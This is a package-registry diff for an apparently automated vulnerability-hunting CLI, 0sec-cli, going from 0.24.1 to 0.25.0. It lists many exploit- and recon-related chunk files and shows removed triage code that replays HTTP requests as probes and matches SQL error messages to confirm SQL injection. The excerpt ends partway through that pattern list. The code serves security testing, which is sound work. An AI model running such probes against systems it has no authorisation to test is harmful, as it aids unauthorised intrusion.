0sec-cli 0.24.1 → 0.25.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0.js +64 -60
- package/README.md +121 -82
- package/chunks/{adapt-loop-L77BWMNE.js → adapt-loop-L2PXCD4J.js} +6 -5
- package/chunks/{artifact-scraper-BV67RAP5.js → artifact-scraper-W3LGLXBM.js} +4 -3
- package/chunks/{assumption-mining-RPVR77A3.js → assumption-mining-7IJ6ZWZE.js} +22 -20
- package/chunks/{backend-connections-ACIXNYZN.js → backend-connections-MYH4QRQG.js} +5 -4
- package/chunks/{chunk-QNRYOJEB.js → chunk-27SXCYWH.js} +1 -1
- package/chunks/{chunk-PJU24AKR.js → chunk-2J3STRJT.js} +337 -257
- package/chunks/chunk-36J5ZLFE.js +18729 -0
- package/chunks/chunk-3DF55BWV.js +49 -0
- package/chunks/{chunk-F2P25DJY.js → chunk-3HMO42M2.js} +1417 -316
- package/chunks/{chunk-PVJUPIQG.js → chunk-3T5R7P4T.js} +6 -6
- package/chunks/{chunk-SU4IHQQI.js → chunk-5H2PXZ7Q.js} +1 -1
- package/chunks/chunk-5XOYTAOK.js +1546 -0
- package/chunks/{chunk-X2IPO5JO.js → chunk-6TA3CWND.js} +2656 -2960
- package/chunks/{chunk-TVS6WVSK.js → chunk-76CLUI54.js} +3 -3
- package/chunks/{chunk-KCA35IL3.js → chunk-7PUJI64A.js} +11 -9
- package/chunks/{chunk-2NBZZFRG.js → chunk-7TIWL6E5.js} +8 -10
- package/chunks/chunk-ABKUI3QB.js +196 -0
- package/chunks/{chunk-3LPBJMHB.js → chunk-ACYZMJHC.js} +1 -1
- package/chunks/{chunk-H5QURBBK.js → chunk-AL32F74R.js} +1 -1
- package/chunks/{chunk-RURJYCWY.js → chunk-B5TIXHCO.js} +1 -1
- package/chunks/{chunk-GZA7RGK7.js → chunk-BWUW6ZQR.js} +2052 -1075
- package/chunks/{chunk-I43YYHDU.js → chunk-C6ZMPXN2.js} +5 -50
- package/chunks/{chunk-ILRMLA6J.js → chunk-D4IBEO2K.js} +1 -1
- package/chunks/{chunk-K74DRDC5.js → chunk-DHNYJ2ML.js} +1 -1
- package/chunks/{chunk-YKWARO3T.js → chunk-DJGJECBV.js} +93 -20
- package/chunks/{chunk-RVJVM5L4.js → chunk-DMDWIW3E.js} +5 -5
- package/chunks/{chunk-ZM6ANQZJ.js → chunk-EEP6GBUO.js} +16037 -34417
- package/chunks/{chunk-IJ6UPW3H.js → chunk-EIONVEFN.js} +208 -29
- package/chunks/chunk-EQBC2ZWL.js +2481 -0
- package/chunks/{chunk-3WUPCZGF.js → chunk-FI2H6HV2.js} +1 -1
- package/chunks/{chunk-5NFIY2SJ.js → chunk-FI5YL4R2.js} +3 -3
- package/chunks/{chunk-XA2IBHPB.js → chunk-FOLTHXRH.js} +1 -1
- package/chunks/{chunk-CJRZSWII.js → chunk-GOUGG7IQ.js} +3 -3
- package/chunks/{chunk-NBV4I237.js → chunk-GXSECFUE.js} +1 -1
- package/chunks/{chunk-BD7WULFS.js → chunk-HDJSHLRM.js} +3 -2
- package/chunks/{chunk-5WAHHZBF.js → chunk-HFUOUT2B.js} +61232 -30665
- package/chunks/chunk-HJKJ4NQP.js +196 -0
- package/chunks/{chunk-UJE4WOQS.js → chunk-I4VIAQHM.js} +1 -1
- package/chunks/{chunk-5ETI27Q3.js → chunk-ITEMDJAB.js} +3 -3
- package/chunks/chunk-ITHDAIRY.js +57 -0
- package/chunks/{chunk-R2XBH476.js → chunk-JCRQV4FE.js} +2 -2
- package/chunks/{chunk-SQCBHFWN.js → chunk-LWMEJYCP.js} +2 -2
- package/chunks/{chunk-5PFRE522.js → chunk-MY44EZKD.js} +1 -1
- package/chunks/{chunk-7UHAXEOV.js → chunk-NBLKIQCW.js} +226 -4
- package/chunks/chunk-NO543ZBU.js +90 -0
- package/chunks/{chunk-X2ZMSRTP.js → chunk-OFPF26WL.js} +333 -3
- package/chunks/{chunk-YERUDEXT.js → chunk-PAE7ZAV6.js} +2780 -1255
- package/chunks/{chunk-S2GITRD5.js → chunk-PMAKX6KP.js} +2 -2
- package/chunks/{chunk-LMP2T4G2.js → chunk-RBTJYREN.js} +8 -171
- package/chunks/{chunk-CGBDEST2.js → chunk-RFK5F45W.js} +1 -1
- package/chunks/{chunk-GTED3FSZ.js → chunk-S2WCYEK2.js} +4 -99
- package/chunks/{chunk-GXXX7AGH.js → chunk-S3B6HFSM.js} +144 -14
- package/chunks/{chunk-WUPN3D37.js → chunk-S4DFH2FJ.js} +26 -1
- package/chunks/{chunk-Q7JKIKKF.js → chunk-SEWZ76MN.js} +77 -13
- package/chunks/{chunk-6XMFCVJS.js → chunk-TFKY6D7O.js} +1 -1
- package/chunks/{chunk-BOBIAHKA.js → chunk-WK6VUCKK.js} +3 -333
- package/chunks/{chunk-IXT64DV5.js → chunk-XPDJE537.js} +97 -1
- package/chunks/{chunk-BMDG6T7D.js → chunk-YXTV2FRE.js} +113 -22
- package/chunks/{chunk-SZDD77KX.js → chunk-YYFODVZG.js} +6 -10
- package/chunks/{chunk-JWSOUKFF.js → chunk-ZWAWZU6C.js} +30 -13
- package/chunks/{chunk-GV5WXDHY.js → chunk-ZZV56ACK.js} +11 -9
- package/chunks/{codex-models-6XVNFRXZ.js → codex-models-KCUIVS3R.js} +9 -8
- package/chunks/{commands-FRPOFIO4.js → commands-MPPAADGY.js} +798 -608
- package/chunks/dashboard-MN7GZLLX.js +75 -0
- package/chunks/{db-BXJNWUYJ.js → db-R2AQSESC.js} +5 -4
- package/chunks/{deep-review-GSJEBLCG.js → deep-review-Q6BJKEV4.js} +37 -38
- package/chunks/{disclose-OU6Z6GVT.js → disclose-GGULOW27.js} +6 -5
- package/chunks/{dist-TQMHMSBZ.js → dist-6RNAVFAY.js} +376 -333
- package/chunks/{dist-7KSYDDSG.js → dist-DWN7U5OV.js} +5 -2
- package/chunks/{dist-M2X367VW.js → dist-JAZWL3SC.js} +3 -2
- package/chunks/{dist-RKLQIXDT.js → dist-OLGNKDB2.js} +4 -3
- package/chunks/{dist-LNXGATR2.js → dist-WNAOCQGA.js} +5 -4
- package/chunks/eval-runner-WCTTIYN4.js +38 -0
- package/chunks/{exploit-agent-Y2P4GFIY.js → exploit-agent-M3KUMZJH.js} +1 -1
- package/chunks/{exploit-autoclimb-YRZ3TMS2.js → exploit-autoclimb-QTTWC5WM.js} +1 -1
- package/chunks/{exploit-climb-4LEY4SDW.js → exploit-climb-E4KDELTN.js} +4 -3
- package/chunks/{fix-RQSIG75B.js → fix-U5FFJD4F.js} +9 -8
- package/chunks/{harness-3NVC3DDY.js → harness-FMKIMEH5.js} +5 -4
- package/chunks/{http-conformance-U5F6GKYG.js → http-conformance-AXMUOE6C.js} +3 -2
- package/chunks/hunt-scan-RYPWRUQD.js +43 -0
- package/chunks/{kernel-primitive-T47V3RD3.js → kernel-primitive-CVG2E7MJ.js} +4 -3
- package/chunks/{kernel-vm-runner-AEL5E3SV.js → kernel-vm-runner-62KISULQ.js} +4 -3
- package/chunks/{local-engine-ZCW4YC6E.js → local-engine-WP3I7K7G.js} +7 -6
- package/chunks/managed-operation-642WPTLC.js +59 -0
- package/chunks/{memsafety-scan-L2Z7E7TE.js → memsafety-scan-Q2MBZEGJ.js} +1 -2
- package/chunks/{native-loop-26X2CHBV.js → native-loop-HC77R5NQ.js} +31 -16
- package/chunks/operator-services-E2NONBQS.js +79 -0
- package/chunks/orchestrate-Z3DW265M.js +62 -0
- package/chunks/{prepare-C3KGMBXT.js → prepare-7DTS6RJT.js} +7 -6
- package/chunks/{remote-workflow-runtime-DB52SINR.js → remote-workflow-runtime-6CEVRZXS.js} +4 -3
- package/chunks/routing-ITJZBJIU.js +61 -0
- package/chunks/{runtime-U66JNSAY.js → runtime-PZJ77QES.js} +9 -8
- package/chunks/{runtime-AUBLQUOH.js → runtime-W6JNDQRO.js} +4 -3
- package/chunks/{scan-stream-34F3LTPV.js → scan-stream-6VOJTHTR.js} +6 -4
- package/chunks/{scope-HSTG63TQ.js → scope-FHXW6EX6.js} +4 -3
- package/chunks/service-plugins-CN6Q2NSN.js +63 -0
- package/chunks/{session-store-MKAAP3WL.js → session-store-DBBI544Y.js} +8 -5
- package/chunks/{variant-candidates-LG767HWH.js → variant-candidates-DPR6DJ3N.js} +9 -8
- package/chunks/{web-recon-prepass-NJP6J3E4.js → web-recon-prepass-HWDHDQMN.js} +7 -6
- package/chunks/{workflow-runtime-AR627I26.js → workflow-runtime-PLB32XC3.js} +50 -49
- package/dashboard/assets/{abnfDiagram-VCTEODGH-Cq149Jpk.js → abnfDiagram-VCTEODGH-6e39CQKz.js} +1 -1
- package/dashboard/assets/{arc-CpP-3TRW.js → arc-ClYun86B.js} +1 -1
- package/dashboard/assets/architecture-7GRP2DOG-rM-lWo7E.js +1 -0
- package/dashboard/assets/architectureDiagram-5GKGNRK7-C9gEGZIU.js +36 -0
- package/dashboard/assets/{blockDiagram-I7D4REHJ-CZYkRRDi.js → blockDiagram-I7D4REHJ-Dgh2n5Lf.js} +2 -2
- package/dashboard/assets/{c4Diagram-7LVT6UL2-CV7Iu3_Z.js → c4Diagram-7LVT6UL2-CsorW08z.js} +1 -1
- package/dashboard/assets/channel-BBlDqIBl.js +1 -0
- package/dashboard/assets/{chunk-4HAMMTFA-PKCyW4m-.js → chunk-4HAMMTFA-4_b_LGGQ.js} +1 -1
- package/dashboard/assets/{chunk-75Z2AOVW-C5MlFTc_.js → chunk-75Z2AOVW-qzNlKGCp.js} +1 -1
- package/dashboard/assets/chunk-DU6HZSFF-SAPICW28.js +127 -0
- package/dashboard/assets/{chunk-F27PBJKO-DTAok0qM.js → chunk-F27PBJKO-DlLotIQx.js} +1 -1
- package/dashboard/assets/{chunk-FOHPRMQF-DHwB1DNv.js → chunk-FOHPRMQF-COOliuUh.js} +14 -14
- package/dashboard/assets/{chunk-GMAD6QVW-CPsr2F33.js → chunk-GMAD6QVW-DNnr65Nb.js} +7 -7
- package/dashboard/assets/{chunk-GVQU2GXP-C2AXGf9A.js → chunk-GVQU2GXP-DTwv0VfU.js} +1 -1
- package/dashboard/assets/{chunk-IMKFNOWR-DMG6yD_O.js → chunk-IMKFNOWR-B1fk1q_W.js} +1 -1
- package/dashboard/assets/{chunk-L3NEJ4N5-BSvwdbXx.js → chunk-L3NEJ4N5-ByVjFIox.js} +1 -1
- package/dashboard/assets/{chunk-OSK3NFVY-CfB8V7FU.js → chunk-OSK3NFVY-DUDCzjbh.js} +1 -1
- package/dashboard/assets/{chunk-P2QGCYS3-CvmZvq6n.js → chunk-P2QGCYS3-D_D5qEso.js} +1 -1
- package/dashboard/assets/{chunk-POPQ4Y6H-D_TvwDxL.js → chunk-POPQ4Y6H-CetM-tVm.js} +1 -1
- package/dashboard/assets/{chunk-PWAF6VOD-Da5GnuOY.js → chunk-PWAF6VOD-BcJX4exl.js} +1 -1
- package/dashboard/assets/{chunk-SHT3W25Y-CcsMJpR-.js → chunk-SHT3W25Y-BWQql238.js} +1 -1
- package/dashboard/assets/{chunk-SVP7TREG-COojjieJ.js → chunk-SVP7TREG-BSLOD1JE.js} +1 -1
- package/dashboard/assets/{chunk-TICWLB2K-nBAmJwx6.js → chunk-TICWLB2K-DReOl-g_.js} +2 -2
- package/dashboard/assets/{chunk-XXDRQBXY-r5HyhWDv.js → chunk-XXDRQBXY-DSdSMeei.js} +1 -1
- package/dashboard/assets/classDiagram-ZZMXUADV-CRH2kB8G.js +1 -0
- package/dashboard/assets/classDiagram-v2-VYDZK3BY-CRH2kB8G.js +1 -0
- package/dashboard/assets/common-CRRsylCH.js +5 -0
- package/dashboard/assets/cose-bilkent-JH36ORCC-fg-DIBqt.js +1 -0
- package/dashboard/assets/cynefin-OW5HDTMX-XmrbEIFh.js +1 -0
- package/dashboard/assets/{cynefinDiagram-5FMLGOSQ-xodkuQtW.js → cynefinDiagram-5FMLGOSQ-CoQ7QEPl.js} +1 -1
- package/dashboard/assets/cytoscape.esm-BbBREfsg.js +321 -0
- package/dashboard/assets/dagre-D7JM2Yhv.js +1 -0
- package/dashboard/assets/dagre-GXQ25YYZ-qtQtsg6c.js +4 -0
- package/dashboard/assets/{diagram-S7CK7UJ4-DNoTMlCO.js → diagram-S7CK7UJ4-B_ts4_58.js} +2 -2
- package/dashboard/assets/{diagram-UQ7AKVKN-COccuyew.js → diagram-UQ7AKVKN-DwHbbxFy.js} +1 -1
- package/dashboard/assets/{diagram-VSXAHHWV-g6D1tWRb.js → diagram-VSXAHHWV-2Tg_RG89.js} +1 -1
- package/dashboard/assets/{diagram-VX7I27RA-DhO4eVIC.js → diagram-VX7I27RA-BFYp-YjF.js} +1 -1
- package/dashboard/assets/{diagram-Z3DM3KII-DeOQFexd.js → diagram-Z3DM3KII-DrPiS4V0.js} +1 -1
- package/dashboard/assets/{dist-BQYeOQg3.js → dist-cbVssBvx.js} +1 -1
- package/dashboard/assets/{ebnfDiagram-PWID7BFC-MtkX2feM.js → ebnfDiagram-PWID7BFC-DCMOZtU2.js} +1 -1
- package/dashboard/assets/{erDiagram-RLTQ6QDP-DIWSsoYZ.js → erDiagram-RLTQ6QDP-CW4rUJGU.js} +1 -1
- package/dashboard/assets/eventmodeling-NTZA5JFV-C2q-Aaav.js +1 -0
- package/dashboard/assets/flowDiagram-HODETNUW-3NOabgG3.js +1 -0
- package/dashboard/assets/{ganttDiagram-EL5Y4UJY-DKggkJe0.js → ganttDiagram-EL5Y4UJY-C1AqcwIF.js} +1 -1
- package/dashboard/assets/gitGraph-4MIJSDKK-DYR76gtd.js +1 -0
- package/dashboard/assets/{gitGraphDiagram-WWUBYQGX-r_iR8Qzo.js → gitGraphDiagram-WWUBYQGX-B7hL98CE.js} +1 -1
- package/dashboard/assets/info-A6RAGUB7-TXB43LiH.js +1 -0
- package/dashboard/assets/{infoDiagram-27XIBGKW-ClQk7UyQ.js → infoDiagram-27XIBGKW-Dk5dXmh_.js} +1 -1
- package/dashboard/assets/{ishikawaDiagram-5VMMS53U-tR7Vziog.js → ishikawaDiagram-5VMMS53U-BQDuNMka.js} +2 -2
- package/dashboard/assets/{journeyDiagram-3NMN7TZE-Cpb9IqKL.js → journeyDiagram-3NMN7TZE-DkustddD.js} +1 -1
- package/dashboard/assets/{kanban-definition-UXKFOSKX-BzUuKbA9.js → kanban-definition-UXKFOSKX-BW7Ann84.js} +1 -1
- package/dashboard/assets/{katex-BdBmVSus.js → katex-nLxf_RlZ.js} +2 -2
- package/dashboard/assets/{line-BHY_tSHu.js → line-DVxcLeru.js} +1 -1
- package/dashboard/assets/linear-DOM_l9bO.js +1 -0
- package/dashboard/assets/mermaid-parser.core-CKg9fDvJ.js +7 -0
- package/dashboard/assets/{mermaid.core-D_QsUPU8.js → mermaid.core-DruW_5-Y.js} +9 -9
- package/dashboard/assets/{mindmap-definition-YA3MSWOX-CtfLTPPJ.js → mindmap-definition-YA3MSWOX-Di5W5VB3.js} +1 -1
- package/dashboard/assets/operations-B-t_k60U.js +194 -0
- package/dashboard/assets/operations-D2ZKZFOF.css +1 -0
- package/dashboard/assets/packet-AYTQ26CC-BABwqtNu.js +1 -0
- package/dashboard/assets/{pegDiagram-XKGWAZYB-C1Dclbzj.js → pegDiagram-XKGWAZYB-Cx4ABT6q.js} +1 -1
- package/dashboard/assets/pie-WAS4IAKB-CNdXyrze.js +1 -0
- package/dashboard/assets/{pieDiagram-E7YTZNPT-Cd7XwYo5.js → pieDiagram-E7YTZNPT-BilfQbIs.js} +1 -1
- package/dashboard/assets/{quadrantDiagram-AXDQQJYC-CaS-GQ4X.js → quadrantDiagram-AXDQQJYC-BVmMQHE5.js} +1 -1
- package/dashboard/assets/radar-RG4KPBEZ-fKNmDeoK.js +1 -0
- package/dashboard/assets/railroad-74A4TZTK-DhcvDCOh.js +1 -0
- package/dashboard/assets/railroad-abnf-HS5TGJTU-BTRVAmf0.js +1 -0
- package/dashboard/assets/railroad-ebnf-LZEXJU2U-CwS8fgC_.js +1 -0
- package/dashboard/assets/railroad-peg-WCYAUIDC-CXuhXlNp.js +1 -0
- package/dashboard/assets/{railroadDiagram-O6MQD6OU-BeesTrqn.js → railroadDiagram-O6MQD6OU-DnBru-jf.js} +1 -1
- package/dashboard/assets/{requirementDiagram-BXWQKSXE-IjyK0DhW.js → requirementDiagram-BXWQKSXE-FwdvUZ7_.js} +1 -1
- package/dashboard/assets/{sankeyDiagram-P5KCCOFB-DmIluQqo.js → sankeyDiagram-P5KCCOFB-BQvDORai.js} +1 -1
- package/dashboard/assets/{sequenceDiagram-WJ2MYXX4-CUp8ZjTc.js → sequenceDiagram-WJ2MYXX4-FWYQLzcY.js} +2 -2
- package/dashboard/assets/sizeCapture-INFHLROL-3uHXrFqA.js +1 -0
- package/dashboard/assets/src-BwkPhlcp.js +1 -0
- package/dashboard/assets/{stateDiagram-D77RDMKH-Dy9TQb8P.js → stateDiagram-D77RDMKH-CjPBd_Sa.js} +1 -1
- package/dashboard/assets/stateDiagram-v2-MP3YSRHH-DHmenujm.js +1 -0
- package/dashboard/assets/swimlanes-42K2YHIH-SQLNsa4J.js +1 -0
- package/dashboard/assets/swimlanesDiagram-VR7AAH4N-D1bH4ETZ.js +8 -0
- package/dashboard/assets/{timeline-definition-24CTP7MA-BGdXW-iY.js → timeline-definition-24CTP7MA-BxCf20k1.js} +1 -1
- package/dashboard/assets/treeView-Q6P3EWNA-BGLYAyGp.js +1 -0
- package/dashboard/assets/treemap-WGGIJYW6-BlzAwncU.js +1 -0
- package/dashboard/assets/{vennDiagram-4TSXK5OY-DzKWHJsl.js → vennDiagram-4TSXK5OY-D76RIZLz.js} +1 -1
- package/dashboard/assets/wardley-WFR3VGLG-Ba_reiVw.js +1 -0
- package/dashboard/assets/{wardleyDiagram-VM6X3IG4-DGsjYmNJ.js → wardleyDiagram-VM6X3IG4-Cux4coOD.js} +1 -1
- package/dashboard/assets/{xychartDiagram-S5SC5T6Z-C7_T_tWt.js → xychartDiagram-S5SC5T6Z-Ch5mvnlH.js} +1 -1
- package/dashboard/index.html +2 -2
- package/package.json +2 -5
- package/chunks/chunk-2XGBEH53.js +0 -4304
- package/chunks/chunk-4ROZFLSR.js +0 -279
- package/chunks/chunk-56UTQKXO.js +0 -56
- package/chunks/chunk-BPU6M42R.js +0 -77
- package/chunks/chunk-IIBNQTOK.js +0 -1532
- package/chunks/chunk-NJLKFC66.js +0 -4790
- package/chunks/chunk-OOMBOLAF.js +0 -295
- package/chunks/chunk-VIT5ALXF.js +0 -4054
- package/chunks/chunk-VU7V2SDW.js +0 -284
- package/chunks/chunk-W624J7NF.js +0 -117
- package/chunks/chunk-YSQWZ67M.js +0 -6027
- package/chunks/dashboard-5HDSNBAU.js +0 -76
- package/chunks/eval-runner-A2DIGVP7.js +0 -31
- package/chunks/hunt-scan-W246VWJC.js +0 -40
- package/chunks/managed-operation-6R2QPPW5.js +0 -60
- package/chunks/orchestrate-OBS37FWQ.js +0 -63
- package/chunks/run-MU3MFL2Z.js +0 -28242
- package/chunks/service-plugins-5B23PWXC.js +0 -64
- package/dashboard/assets/architecture-7GRP2DOG-z5EHYkyH.js +0 -1
- package/dashboard/assets/architectureDiagram-5GKGNRK7-ewtXpjR_.js +0 -36
- package/dashboard/assets/channel-CuYjfiC5.js +0 -1
- package/dashboard/assets/chunk-DU6HZSFF-3M37ulcO.js +0 -127
- package/dashboard/assets/classDiagram-ZZMXUADV-DCuOrWUV.js +0 -1
- package/dashboard/assets/classDiagram-v2-VYDZK3BY-DCuOrWUV.js +0 -1
- package/dashboard/assets/common-C6snVPsk.js +0 -5
- package/dashboard/assets/cose-bilkent-JH36ORCC-BLGcaZHk.js +0 -1
- package/dashboard/assets/cynefin-OW5HDTMX-DbZMK00I.js +0 -1
- package/dashboard/assets/cytoscape.esm-CGd-uY3x.js +0 -321
- package/dashboard/assets/dagre-GXQ25YYZ-CRk9qfSG.js +0 -4
- package/dashboard/assets/dagre-PrKaheQc.js +0 -1
- package/dashboard/assets/eventmodeling-NTZA5JFV-D_3ez4Gv.js +0 -1
- package/dashboard/assets/flowDiagram-HODETNUW-D2boyYEd.js +0 -1
- package/dashboard/assets/gitGraph-4MIJSDKK-DFOQYwXc.js +0 -1
- package/dashboard/assets/info-A6RAGUB7-DeednLoB.js +0 -1
- package/dashboard/assets/linear-naZZ1pHk.js +0 -1
- package/dashboard/assets/mermaid-parser.core-CPvd4cEx.js +0 -7
- package/dashboard/assets/operations-BwCzhVnT.js +0 -130
- package/dashboard/assets/operations-QjKT0Hwi.css +0 -1
- package/dashboard/assets/packet-AYTQ26CC-DDQbkT9I.js +0 -1
- package/dashboard/assets/pie-WAS4IAKB-LpU4ULAs.js +0 -1
- package/dashboard/assets/radar-RG4KPBEZ-CcxW3NJm.js +0 -1
- package/dashboard/assets/railroad-74A4TZTK-9P5Rl8fP.js +0 -1
- package/dashboard/assets/railroad-abnf-HS5TGJTU-CSfpwjna.js +0 -1
- package/dashboard/assets/railroad-ebnf-LZEXJU2U-D6R5qzr-.js +0 -1
- package/dashboard/assets/railroad-peg-WCYAUIDC-DKEX7ITG.js +0 -1
- package/dashboard/assets/sizeCapture-INFHLROL-B0uUizjq.js +0 -1
- package/dashboard/assets/src-r61wDjcA.js +0 -1
- package/dashboard/assets/stateDiagram-v2-MP3YSRHH-CQb0ZtPr.js +0 -1
- package/dashboard/assets/swimlanes-42K2YHIH-CZuDV7V5.js +0 -1
- package/dashboard/assets/swimlanesDiagram-VR7AAH4N-BxgWMq8X.js +0 -8
- package/dashboard/assets/treeView-Q6P3EWNA-DlRrayjM.js +0 -1
- package/dashboard/assets/treemap-WGGIJYW6-C6UqLKfI.js +0 -1
- package/dashboard/assets/wardley-WFR3VGLG-thmyHKb0.js +0 -1
|
@@ -1,649 +1,12 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
import { createRequire as __0CreateRequire } from "node:module";
|
|
3
3
|
const require = __0CreateRequire(import.meta.url);
|
|
4
|
+
import {
|
|
5
|
+
allowlistedChildEnv
|
|
6
|
+
} from "./chunk-5IBCBQEH.js";
|
|
4
7
|
|
|
5
|
-
// packages/core/dist/
|
|
6
|
-
import { randomUUID } from "node:crypto";
|
|
7
|
-
import { createServer } from "node:http";
|
|
8
|
-
|
|
9
|
-
// packages/core/dist/triage/oracles.js
|
|
10
|
-
var DEFAULT_TIMEOUT_MS = 1e4;
|
|
11
|
-
function notVerifiable(reason) {
|
|
12
|
-
return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
|
|
13
|
-
}
|
|
14
|
-
function verified(evidence, confidence = 1) {
|
|
15
|
-
return { verified: true, confidence, evidence, reason: "" };
|
|
16
|
-
}
|
|
17
|
-
function parseRequest(requestText, fallbackTarget) {
|
|
18
|
-
const parsed = {
|
|
19
|
-
method: "GET",
|
|
20
|
-
url: fallbackTarget,
|
|
21
|
-
headers: {},
|
|
22
|
-
body: "",
|
|
23
|
-
params: {}
|
|
24
|
-
};
|
|
25
|
-
const parseFallbackQuery = () => {
|
|
26
|
-
try {
|
|
27
|
-
const u = new URL(parsed.url);
|
|
28
|
-
u.searchParams.forEach((v, k) => {
|
|
29
|
-
parsed.params[k] = v;
|
|
30
|
-
});
|
|
31
|
-
} catch {
|
|
32
|
-
}
|
|
33
|
-
};
|
|
34
|
-
if (!requestText) {
|
|
35
|
-
parseFallbackQuery();
|
|
36
|
-
return parsed;
|
|
37
|
-
}
|
|
38
|
-
requestText = requestText.replace(/\r\n/g, "\n");
|
|
39
|
-
const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
|
|
40
|
-
if (curlUrl)
|
|
41
|
-
parsed.url = curlUrl[1].replace(/['"]$/, "");
|
|
42
|
-
const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
|
|
43
|
-
if (curlMethod)
|
|
44
|
-
parsed.method = curlMethod[1].toUpperCase();
|
|
45
|
-
const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
|
|
46
|
-
if (curlData)
|
|
47
|
-
parsed.body = curlData[1];
|
|
48
|
-
const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
|
|
49
|
-
if (startLine) {
|
|
50
|
-
parsed.method = startLine[1].toUpperCase();
|
|
51
|
-
const path = startLine[2];
|
|
52
|
-
const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
|
|
53
|
-
if (/^https?:\/\//i.test(path)) {
|
|
54
|
-
parsed.url = path;
|
|
55
|
-
} else if (hostHeader) {
|
|
56
|
-
const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
|
|
57
|
-
parsed.url = `${scheme}://${hostHeader[1]}${path}`;
|
|
58
|
-
} else if (path.startsWith("/")) {
|
|
59
|
-
try {
|
|
60
|
-
const base = new URL(fallbackTarget);
|
|
61
|
-
parsed.url = `${base.origin}${path}`;
|
|
62
|
-
} catch {
|
|
63
|
-
parsed.url = path;
|
|
64
|
-
}
|
|
65
|
-
} else {
|
|
66
|
-
parsed.url = path;
|
|
67
|
-
}
|
|
68
|
-
const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
|
|
69
|
-
for (const line of headerBlock.split("\n").slice(1)) {
|
|
70
|
-
const colon = line.indexOf(":");
|
|
71
|
-
if (colon > 0) {
|
|
72
|
-
const name = line.slice(0, colon).trim().toLowerCase();
|
|
73
|
-
if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
|
|
74
|
-
parsed.headers[name] = line.slice(colon + 1).trim();
|
|
75
|
-
}
|
|
76
|
-
}
|
|
77
|
-
}
|
|
78
|
-
const sep = requestText.indexOf("\n\n");
|
|
79
|
-
if (sep >= 0)
|
|
80
|
-
parsed.body = requestText.slice(sep + 2);
|
|
81
|
-
}
|
|
82
|
-
try {
|
|
83
|
-
const u = new URL(parsed.url);
|
|
84
|
-
u.searchParams.forEach((v, k) => {
|
|
85
|
-
parsed.params[k] = v;
|
|
86
|
-
});
|
|
87
|
-
} catch {
|
|
88
|
-
}
|
|
89
|
-
if (parsed.body.trimStart().startsWith("{")) {
|
|
90
|
-
try {
|
|
91
|
-
const json = JSON.parse(parsed.body);
|
|
92
|
-
for (const [key, value] of Object.entries(json)) {
|
|
93
|
-
if (typeof value === "string" || typeof value === "number")
|
|
94
|
-
parsed.params[key] = String(value);
|
|
95
|
-
}
|
|
96
|
-
} catch {
|
|
97
|
-
}
|
|
98
|
-
} else if (parsed.body.includes("=")) {
|
|
99
|
-
new URLSearchParams(parsed.body).forEach((value, key) => {
|
|
100
|
-
parsed.params[key] = value;
|
|
101
|
-
});
|
|
102
|
-
}
|
|
103
|
-
return parsed;
|
|
104
|
-
}
|
|
105
|
-
function buildProbeRequest(parsed, newParams) {
|
|
106
|
-
const method = parsed.method || "GET";
|
|
107
|
-
const init = { method, headers: { ...parsed.headers } };
|
|
108
|
-
const url = new URL(parsed.url);
|
|
109
|
-
let json;
|
|
110
|
-
if (parsed.body.trimStart().startsWith("{")) {
|
|
111
|
-
try {
|
|
112
|
-
json = JSON.parse(parsed.body);
|
|
113
|
-
} catch {
|
|
114
|
-
}
|
|
115
|
-
}
|
|
116
|
-
const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
|
|
117
|
-
for (const [key, value] of Object.entries(newParams)) {
|
|
118
|
-
if (method !== "GET" && json && Object.hasOwn(json, key))
|
|
119
|
-
json[key] = value;
|
|
120
|
-
else if (method !== "GET" && form?.has(key))
|
|
121
|
-
form.set(key, value);
|
|
122
|
-
else
|
|
123
|
-
url.searchParams.set(key, value);
|
|
124
|
-
}
|
|
125
|
-
if (method !== "GET") {
|
|
126
|
-
init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
|
|
127
|
-
if (json)
|
|
128
|
-
init.headers = { "content-type": "application/json", ...parsed.headers };
|
|
129
|
-
else if (form)
|
|
130
|
-
init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
|
|
131
|
-
}
|
|
132
|
-
return { url: url.toString(), init };
|
|
133
|
-
}
|
|
134
|
-
async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
|
|
135
|
-
const controller = new AbortController();
|
|
136
|
-
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
|
137
|
-
const start = Date.now();
|
|
138
|
-
try {
|
|
139
|
-
const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
|
|
140
|
-
const body = await res.text();
|
|
141
|
-
return { status: res.status, body, latencyMs: Date.now() - start };
|
|
142
|
-
} catch {
|
|
143
|
-
return null;
|
|
144
|
-
} finally {
|
|
145
|
-
clearTimeout(timer);
|
|
146
|
-
}
|
|
147
|
-
}
|
|
148
|
-
var SQL_ERROR_PATTERNS = [
|
|
149
|
-
// MySQL
|
|
150
|
-
/You have an error in your SQL syntax/i,
|
|
151
|
-
/\bmysql_fetch_/i,
|
|
152
|
-
/\bMySQLSyntaxErrorException\b/i,
|
|
153
|
-
/\bMariaDB\b.*?\bsyntax\b/i,
|
|
154
|
-
// PostgreSQL
|
|
155
|
-
/\bPG::SyntaxError\b/i,
|
|
156
|
-
/\bpq:\s+syntax error\b/i,
|
|
157
|
-
/\bpsql:.*?ERROR:/i,
|
|
158
|
-
/unterminated quoted string/i,
|
|
159
|
-
// SQLite
|
|
160
|
-
/\bSQLite3::/i,
|
|
161
|
-
/\bsqlite3\.OperationalError\b/i,
|
|
162
|
-
/near\s+".+?":\s*syntax error/i,
|
|
163
|
-
// MSSQL
|
|
164
|
-
